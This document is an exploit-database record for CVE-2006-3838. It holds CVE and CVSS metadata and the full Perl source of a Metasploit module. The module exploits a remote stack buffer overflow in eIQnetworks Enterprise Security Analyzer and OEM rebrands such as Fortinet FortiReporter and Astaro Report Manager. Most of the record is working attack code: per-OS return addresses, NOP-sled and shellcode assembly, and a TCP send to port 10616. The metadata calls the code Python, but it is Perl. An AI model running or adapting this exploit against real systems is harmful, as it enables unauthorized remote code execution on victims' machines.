{"exploit":{"id":"EDB-2140","name":"eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (3)","description":"eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (3)","cves":["CVE-2006-3838"],"author":"ri0t","published":"2006-08-07","platform":"windows","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2140","path":"exploits/windows/remote/2140.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2140.py","vulnerabilities":[{"id":"CVE-2006-3838","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple stack-based buffer overflows in eIQnetworks Enterprise Security Analyzer (ESA) before 2.5.0, as used in products including (a) Sidewinder, (b) iPolicy Security Manager, (c) Astaro Report Manager, (d) Fortinet FortiReporter, (e) Top Layer Network Security Analyzer, and possibly other products, allow remote attackers to execute arbitrary code via long (1) DELTAINTERVAL, (2) LOGFOLDER, (3) DELETELOGS, (4) FWASERVER, (5) SYSLOGPUBLICIP, (6) GETFWAIMPORTLOG, (7) GETFWADELTA, (8) DELETERDEPDEVICE, (9) COMPRESSRAWLOGFILE, (10) GETSYSLOGFIREWALLS, (11) ADDPOLICY, and (12) EDITPOLICY commands to the Syslog daemon (syslogserver.exe); (13) GUIADDDEVICE, (14) ADDDEVICE, and (15) DELETEDEVICE commands to the Topology server (Topology.exe); the (15) LICMGR_ADDLICENSE command to the License Manager (EnterpriseSecurityAnalyzer.exe); the (16) TRACE and (17) QUERYMONITOR commands to the Monitoring agent (Monitoring.exe); and possibly other vectors related to the Syslog daemon (syslogserver.exe).","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-3838","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-3838"},"updatedAt":"2024-08-07T18:48:39.293Z","retrievedAt":"2026-11-26T13:07:13.748Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2140.png?v=2","url":"https://exploitbin.com/exploits/EDB-2140","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2140/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2140/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl -w\n\npackage Msf::Exploit::EiQ_License;\nuse base \"Msf::Exploit\";\nuse strict;\nuse Pex::Text;\n\nmy $advanced = { };\n\nmy $info =\n  {\n\t'Name'     => 'EIQ License Manager Overflow',\n\t'Authors'  => [ 'ri0t ri0t@ri0tnet.net KF kf_list@digitalmunition.com' ],\n\n\t'Arch'  => [ 'x86' ],\n\t'OS'    => [ 'win32', 'win2000', 'winxp' ],\n\t'Priv'  => 0,\n\n\t'AutoOpts'  => { 'EXITFUNC' => 'seh' },\n\n\t'UserOpts'  =>\n\t  {\n\t\t'RHOST' => [1, 'ADDR', 'The target address'],\n\t\t'RPORT' => [1, 'PORT', 'The target port', 10616],\n\t },\n        'Payload'  =>\n\t  {\n\t\t'Space' => 494,\n\t\t'BadChars'  => \"\\x00\\x0a\\x0d\\x40\\x26\",\n            },\n          'Description'  =>  Pex::Text::Freeform(qq{\n        This module Exploits a buffer overflow in the LICENCE_MANAGER field of\n\tEiQ networks Enterprise Security Analyzer.  This bug was found by Titon\n\tof Bastard Labs.\n        }),\n\n\n\t'Refs' =>\n\t[\n\t\t['OSVDB', '27526'],\n\t],\n\n        'DefaultTarget' => 1,\n\t'Targets' =>\n\t  [\n\t\t['EiQ Enterprise Security Analyzer Buffer size 494 Windows 2000 SP0-SP4 English', 0x750316e2, 494 ],   # call ebx\n\t\t['EiQ Enterprise Security Analyzer Buffer size 494 Windows XP English SP1/SP2', 0x77db64dc, 494 ],\t# jmp ebx\n\t\t['EiQ Enterprise Security Analyzer Buffer size 494 Windwos Server 2003 SP0/SP1', 0x77d16764, 494 ],   # jmp EBX\n\t\t['Astaro Report Manager (OEM) Buffer size 1262 Windows 2000 SP0-SP4 English', 0x750316e2, 1262 ],\n\t\t['Astaro Report Manager (OEM) Buffer size 1262 Windows XP English SP1/SP2', 0x77db64dc, 1262 ],\n\t\t['Astaro Report Manager (OEM) Buffer size 1262 Windows Server 2003 English SP0/SP1', 0x77d16764, 1262 ],\n\t\t['Fortinet FortiReporter (OEM) Buffer size 1262 Windows 2000 SP0-SP4 English', 0x750316e2, 1262 ],\n\t        ['Fortinet FortiReporter (OEM) Buffer size 1262 Windows XP English SP1/SP2', 0x77db64dc, 1262 ],\n\t        ['Fortinet FortiReporter (OEM) Buffer size 1262 Windows Server 2003 English SP0/SP1', 0x77d16764, 1262 ],\n\t\t['iPolicy Security Reporter (OEM) Buffer size 1262 Windows 2000 SP0-SP4 English', 0x750316e2, 1262 ],\n                ['iPolicy Security Reporter (OEM) Buffer size 1262 Windows XP English SP1/SP2', 0x77db64dc, 1262 ],\n\t\t['iPolicy Security Reporter (OEM) Buffer size 1262 Windows Server 2003 English SP0/SP1', 0x77d16764, 1262 ],\n\t\t['SanMina Viking Multi-Log Manager (OEM) Buffer size 1262 Windows 2000 SP0-SP4 English', 0x750316e2, 1262 ],\n                ['SanMina Viking Multi-Log Manager (OEM) Buffer size 1262 Windows XP English SP1/SP2', 0x77db64dc, 1262 ],\n\t\t['SanMina Viking Multi-Log Manager (OEM) Buffer size 1262 Windows Server 2003 English SP0/SP1', 0x77d16764, 1262 ],\n\t\t['Secure Computing G2 Security Reporter (OEM) Buffer size 1262 Windows 2000 SP0-SP4 English', 0x750316e2, 1262 ],\n                ['Secure Computing G2 Security Reporter (OEM) Buffer size 1262 Windows XP English SP1/SP2', 0x77db64dc, 1262 ],\n\t        ['Secure Computing G2 Security Reporter (OEM) Buffer size 1262 Windows Server 2003 English SP0/SP1', 0x77d16764, 1262 ],\n\t\t['Top Layer Network Security Analyzer (OEM) Buffer size 1262 Windows 2000 SP0-SP4 English', 0x750316e2, 1262 ],\n                ['Top Layer Network Security Analyzer (OEM) Buffer size 1262 Windows XP English SP1/SP2', 0x77db64dc, 1262 ],\n\t        ['Top Layer Network Security Analyzer (OEM) Buffer size 1262 Windows Server 2003 English SP0/SP1', 0x77d16764, 1262 ],\n         ],\n  };\n\n  sub new {\n\tmy $class = shift;\n\tmy $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);\n\treturn($self);\n}\n\n  sub Exploit {\n\tmy $self = shift;\n\tmy $target_host = $self->GetVar('RHOST');\n\tmy $target_port = $self->GetVar('RPORT');\n\tmy $target_idx  = $self->GetVar('TARGET');\n\tmy $shellcode   = $self->GetVar('EncodedPayload')->Payload;\n\tmy $target      = $self->Targets->[$target_idx];\n\tmy $nopsize = $target->[2];\n        my $nops \t= $self->MakeNops($nopsize - length($shellcode));\n        my $ret         =  pack(\"V\", $target->[1]);\n        my $evil        = \"LICMGR_ADDLICENSE&\" . $nops . $shellcode . $ret . \"&\";\n\n\n        my $s = Msf::Socket::Tcp->new\n\t  (\n\t\t'PeerAddr'  => $target_host,\n\t\t'PeerPort'  => $target_port,\n\t\t'LocalPort' => $self->GetVar('CPORT'),\n    \t  );\n\n          if ($s->IsError) {\n\t\t$self->PrintLine('[*] Error creating socket: ' . $s->GetError);\n\t\treturn;\n\t}\n          $self->PrintLine(sprintf (\"[*] Trying \".$target->[0].\" using return address 0x%.8x....\", $target->[1]));\n\n          $s->Send(\"$evil\");\n          return;\n  }\n\n# milw0rm.com [2006-08-07]","sha256":"b617344835ca4086972f437dc84ac309cbbac342977d8e3ce859ac796d9dc603","bytes":4457,"fetchedAt":"2026-11-26T13:07:11.995Z","encoding":"utf-8 (display only; download retains original bytes)"}